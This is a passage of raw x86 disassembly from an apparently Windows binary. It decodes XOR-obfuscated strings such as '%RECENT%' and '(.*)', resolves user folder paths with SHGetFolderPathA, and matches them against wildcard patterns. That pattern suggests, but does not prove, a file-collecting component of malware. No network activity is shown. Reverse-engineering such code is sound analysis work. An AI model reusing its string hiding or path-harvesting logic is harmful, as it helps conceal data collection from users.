add edx, 4
sub esi, 4
jae 0x44a020
cmp esi, 0xfffffffc
je 0x44a06a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x44a063
cmp esi, 0xfffffffd
je 0x44a06a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x44a063
cmp esi, 0xfffffffe
je 0x44a06a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x44a063
cmp esi, 0xffffffff
je 0x44a06a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x44a06a
sbb eax, eax
or eax, 1
jmp 0x44a06c
xor eax, eax
test eax, eax
je 0x44a08e
mov eax, dword [ebp - 0x3c]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x38]
push edi
call fcn.004dfec0
mov esi, dword [ebp - 0x24]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x44a016
jmp 0x44a0b2
sub edi, dword [ebp - 0x1c]
cmp edi, 0xffffffff
je 0x44a0b2
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
push eax
push esi
push edi
call fcn.00467d20
mov edx, dword [ebp - 0x18]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0x12
je 0x44a0eb
mov ecx, dword [ebp - 0x20]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x44a0e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x44a123
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a119
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0xa8], 0x2b223440
xor ecx, ecx
mov dword [ebp - 0xa4], 0x493f242c
mov word [ebp - 0xa0], 0x100
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xa8], al
inc ecx
cmp ecx, 8
jb 0x44a142
lea edx, [ebp - 0xa8]
mov byte [ebp - 0x9f], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x44a163
sub edx, ecx
lea eax, [ebp - 0xa8]
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0x70]
push edx
cmovae ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x60]
push eax
push 0
call fcn.0046aba0
add esp, 0xc
test eax, eax
jne 0x44a3e3
push 0x104
push eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x2e0]
push eax
push 0
push 0
push 8
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a1e0
sub ecx, edx
lea eax, [ebp - 0x2e0]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0x14
xor ecx, ecx
mov dword [ebp - 0xb2], 0x2b223440
mov dword [ebp - 0xae], 0x493f242c
mov word [ebp - 0xaa], 0x100
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xb2], al
inc ecx
cmp ecx, 8
jb 0x44a220
xorps xmm0, xmm0
mov byte [ebp - 0xa9], 0
lea ecx, [ebp - 0xb2]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a256
sub ecx, edx
lea eax, [ebp - 0xb2]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x34]
cmp dword [ebp - 0x20], 0x10
lea edi, [ebp - 0x70]
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x24]
cmovae ecx, edx
mov eax, dword [ebp - 0x60]
setae byte [ebp - 0x11]
cmp dword [ebp - 0x5c], 0x10
mov dword [ebp - 0x18], edx
cmovae edi, dword [ebp - 0x70]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x1c], edi
cmp esi, eax
ja 0x44a375
sub eax, esi
test esi, esi
jne 0x44a2b3
xor edi, edi
jmp 0x44a359
movsx ecx, byte [ecx]
inc eax
add eax, edi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
sub eax, edi
push eax
push ecx
push edi
call fcn.004dfec0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x44a372
mov edx, dword [ebp - 0x40]
mov ecx, edi
sub esi, 4
jb 0x44a2f1
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x44a2f6
add ecx, 4
add edx, 4
sub esi, 4
jae 0x44a2e0
cmp esi, 0xfffffffc
je 0x44a32a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x44a323
cmp esi, 0xfffffffd
je 0x44a32a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x44a323
cmp esi, 0xfffffffe
je 0x44a32a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x44a323
cmp esi, 0xffffffff
je 0x44a32a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x44a32a
sbb eax, eax
or eax, 1
jmp 0x44a32c
xor eax, eax
test eax, eax
je 0x44a34e
mov eax, dword [ebp - 0x3c]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x38]
push edi
call fcn.004dfec0
mov esi, dword [ebp - 0x24]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x44a2d6
jmp 0x44a372
sub edi, dword [ebp - 0x1c]
cmp edi, 0xffffffff
je 0x44a372
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
push eax
push esi
push edi
call fcn.00467d20
mov edx, dword [ebp - 0x18]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0x14
je 0x44a3ab
mov ecx, dword [ebp - 0x20]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x44a3a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x44a3e3
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a3d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0x170]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x174]
imul ecx
mov dword [ebp - 0x3c], 0
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x44a9d1
xor edi, edi
mov dword [ebp - 0x18], edi
mov esi, dword [ebp - 0x174]
add esi, edi
cmp dword [esi + 0x14], 0x10
mov eax, dword [esi + 0x10]
jb 0x44a425
mov esi, dword [esi]
test eax, eax
je 0x44a6a0
push eax
push 0x2a
push esi
call fcn.004dfec0
add esp, 0xc
test eax, eax
je 0x44a6a0
sub eax, esi
cmp eax, 0xffffffff
je 0x44a6a0
mov dword [ebp - 0x82], 0x414a484d
xor ecx, ecx
mov word [ebp - 0x7e], 0x100
nop
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x82], al
inc ecx
cmp ecx, 4
jb 0x44a460
xorps xmm0, xmm0
mov byte [ebp - 0x7d], 0
lea ecx, [ebp - 0x82]
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a493
sub ecx, edx
lea eax, [ebp - 0x82]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x9e]
xorps xmm0, xmm0
mov word [ebp - 0x9e], 0x2a
mov byte [ebp - 0x9c], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a4e0
sub ecx, edx
lea eax, [ebp - 0x9e]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x34]
mov esi, dword [ebp - 0x174]
mov edx, dword [ebp - 0x34]
add esi, edi
cmp dword [ebp - 0x20], 0x10
mov edi, esi
mov dword [ebp - 0x7c], esi
cmovae ecx, edx
mov dword [ebp - 0x1c], edx
mov eax, dword [esi + 0x10]
setae byte [ebp - 0x11]
cmp dword [esi + 0x14], 0x10
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x38], esi
jb 0x44a532
mov edi, dword [esi]
mov dword [ebp - 0x38], edi
mov esi, dword [ebp - 0x24]
cmp esi, eax
ja 0x44a623
sub eax, esi
test esi, esi
jne 0x44a54a
xor edi, edi
jmp 0x44a607
movsx ecx, byte [ecx]
inc eax
add eax, edi
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x168], eax
sub eax, edi
push eax
push ecx
push edi
call fcn.004dfec0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x44a620
mov edx, dword [ebp - 0x40]
mov ecx, edi
sub esi, 4
jb 0x44a591
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x44a59a
add ecx, 4
add edx, 4
sub esi, 4
jae 0x44a580
cmp esi, 0xfffffffc
je 0x44a5ce
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x44a5c7
cmp esi, 0xfffffffd
je 0x44a5ce
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x44a5c7
cmp esi, 0xfffffffe
je 0x44a5ce
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x44a5c7
cmp esi, 0xffffffff
je 0x44a5ce
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x44a5ce
sbb eax, eax
or eax, 1
jmp 0x44a5d0
xor eax, eax
test eax, eax
je 0x44a5fc
mov eax, dword [ebp - 0x168]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x98]
push edi
call fcn.004dfec0
mov esi, dword [ebp - 0x24]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x44a573
jmp 0x44a620
sub edi, dword [ebp - 0x38]
cmp edi, 0xffffffff
je 0x44a620
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x7c]
push eax
push esi
push edi
call fcn.00467d20
mov edx, dword [ebp - 0x1c]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0x16
je 0x44a659
mov ecx, dword [ebp - 0x20]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x44a64f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov edi, dword [ebp - 0x18]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x44a412
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a68e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
mov edi, dword [ebp - 0x18]
add esp, 8
jmp 0x44a412
add edi, dword [ebp - 0x174]
xor ecx, ecx
mov dword [ebp - 0x88], 0x414a484d
mov word [ebp - 0x84], 0x100
nop dword [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x88], al
inc ecx
cmp ecx, 4
jb 0x44a6c0
lea esi, [ebp - 0x88]
mov byte [ebp - 0x83], 0
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x44a6e1
mov edx, dword [edi + 0x10]
sub esi, ecx
cmp dword [edi + 0x14], 0x10
jb 0x44a6f5
mov edi, dword [edi]
push esi
lea eax, [ebp - 0x88]
mov ecx, edi
push eax
push 0
call fcn.0046aba0
add esp, 0xc
cmp eax, 0xffffffff
je 0x44a99c
mov dword [ebp - 0x8e], 0x414d484d
xor ecx, ecx
mov word [ebp - 0x8a], 0x100
nop word [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x8e], al
inc ecx
cmp ecx, 4
jb 0x44a730
xorps xmm0, xmm0
mov byte [ebp - 0x89], 0
lea ecx, [ebp - 0x8e]
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a766
sub ecx, edx
lea eax, [ebp - 0x8e]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0x18
xor ecx, ecx
mov dword [ebp - 0x94], 0x414a484d
mov word [ebp - 0x90], 0x100
nop dword [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 4
jb 0x44a7a0
xorps xmm0, xmm0
mov byte [ebp - 0x8f], 0
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a7d6
sub ecx, edx
lea eax, [ebp - 0x94]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x19
add esi, dword [ebp - 0x174]
cmp dword [ebp - 0x20], 0x10
mov edi, esi
mov edx, dword [ebp - 0x34]
cmovae ecx, edx
mov dword [ebp - 0x40], esi
mov eax, dword [esi + 0x10]
setae byte [ebp - 0x11]
cmp dword [esi + 0x14], 0x10
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x38], esi
jb 0x44a829
mov edi, dword [esi]
mov dword [ebp - 0x38], edi
mov esi, dword [ebp - 0x24]
cmp esi, eax
ja 0x44a91f
sub eax, esi
test esi, esi
jne 0x44a841
xor edi, edi
jmp 0x44a903
movsx ecx, byte [ecx]
inc eax
add eax, edi
mov dword [ebp - 0x168], ecx
mov dword [ebp - 0x98], eax
sub eax, edi
push eax
push ecx
push edi
call fcn.004dfec0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x44a91c
nop word [eax + eax]
mov ecx, dword [ebp - 0x7c]
mov edx, edi
sub esi, 4
jb 0x44a891
nop word [eax + eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x44a896
add edx, 4
add ecx, 4
sub esi, 4
jae 0x44a880
cmp esi, 0xfffffffc
je 0x44a8ca
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x44a8c3
cmp esi, 0xfffffffd
je 0x44a8ca
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x44a8c3
cmp esi, 0xfffffffe
je 0x44a8ca
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x44a8c3
cmp esi, 0xffffffff
je 0x44a8ca
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x44a8ca
sbb eax, eax
or eax, 1
jmp 0x44a8cc
xor eax, eax
test eax, eax
je 0x44a8f8
mov eax, dword [ebp - 0x98]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x168]
push edi
call fcn.004dfec0
mov esi, dword [ebp - 0x24]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x44a870
jmp 0x44a91c
sub edi, dword [ebp - 0x38]
cmp edi, 0xffffffff
je 0x44a91c
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x40]
push eax
push esi
push edi
call fcn.00467d20
mov edx, dword [ebp - 0x1c]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0x18
je 0x44a955
mov ecx, dword [ebp - 0x20]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x44a94b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov edi, dword [ebp - 0x18]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x44a6a0
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a98a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
mov edi, dword [ebp - 0x18]
add esp, 8
jmp 0x44a6a0
mov ecx, dword [ebp - 0x170]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x174]
mov esi, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x18]
inc esi
imul ecx
add edi, 0x18
mov dword [ebp - 0x3c], esi
sar edx, 2
mov eax, edx
mov dword [ebp - 0x18], edi
shr eax, 0x1f
add eax, edx
cmp esi, eax
jb 0x44a412
sub esp, 0xc
lea eax, [ebp - 0x174]
mov ecx, esp
mov dword [ebp - 0x7c], esp
push eax
call fcn.004642f0
sub esp, 0xc
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x1bc]
mov dword [ebp - 0x98], esp
mov ecx, esp
push eax
call fcn.004642f0
lea eax, [ebp - 0x198]
mov byte [ebp - 4], 0x1b
mov esi, dword [ebp - 0x164]
push eax
sub esp, 0x18
shl esi, 0xa
lea eax, [ebx + 8]
mov dword [ebp - 0x164], esp
mov ecx, esp
push eax
call fcn.004655b0
sub esp, 0x18
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x70]
mov ecx, esp
push eax
call fcn.004655b0
mov cl, byte [ebp - 0x75]
mov edx, esi
mov byte [ebp - 4], 9
call fcn.00447ce0
add esp, 0x4c
lea ecx, [ebp - 0x174]
call fcn.004677b0
lea ecx, [ebp - 0x1bc]
call fcn.004677b0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x44aa99
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44aa8f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
cmp ecx, 0x10
jb 0x44aae9
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44aadf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1c0]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
cmp ecx, 0x10
jb 0x44ab42
mov edx, dword [ebp - 0x1d4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44ab38
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov eax, dword [ebp - 0x194]
movzx eax, byte [eax]
sub eax, 1
je 0x44ab6c
sub eax, 1
je 0x44ab60
inc dword [ebp - 0x188]
jmp 0x4490a4
add dword [ebp - 0x18c], 0x10
jmp 0x4490a4
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
call fcn.00466a70
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x190], eax
jmp 0x4490a4
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x44abbf
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44abb5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ac26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push eax
call fcn.004db69b
mov ecx, eax
call fcn.00467290
push eax
lea ecx, [ebp - 0x58]
call fcn.00402700
push eax
mov edx, str.type_must_be_boolean__but_is
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x34]
call fcn.00469420
add esp, 4
push eax
mov edx, 0x12e
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2fc]
call fcn.00408920
add esp, 4
lea eax, [ebp - 0x2fc]
push 0x531630
push eax
call fcn.004de0db
call fcn.004e1990
int3